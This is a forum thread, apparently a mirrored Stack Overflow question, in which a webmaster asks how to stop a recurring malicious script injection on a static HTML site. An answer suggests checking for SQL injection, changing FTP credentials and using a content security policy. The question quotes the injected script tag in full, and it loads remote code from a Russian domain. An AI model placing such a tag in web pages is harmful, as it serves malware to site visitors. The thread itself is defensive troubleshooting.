如何保护html网站不插入恶意软件js内容？ [关闭]

Question

I ve got hosting with a lot of websites in root folder. Of course, many of them have old engine and CMS version. Many folders are assigned to another domain.

One of the website has just html+css landing page. And every week there appears almost the same javascript line:

<!--9c3bd3--><script type="text/javascript" src="http://giagaga.ru/2wcgz6nk.php?id=3836829"></script><!--/9c3bd3-->

I remove, but it happens again. Moreover, when I enter site there is red screen and Google says malware detected (because of this js script).

How can I secure my html website? Maybe add something to .htaccess?

Answer 1

If your site allows users to input data then you may have a problem with SQL injection. Here's some documentation:

• http://www.w3schools.com/sql/sql_injection.asp
• http://en.wikipedia.org/wiki/SQL_injection
• http://php.net/manual/en/security.database.sql-injection.php

If the problem is an uploaded script then someone may have FTP access, you might consider changing your password for that if you haven't already. However if you already have changed your password and your site doesn't allow user input you can setup a content security policy that would only allow scripts load from your site to work http://giagaga.ru/2wcgz6nk.php?id=3836829 would not load on the page.

Image taken from the HTML5Rocks tutorial page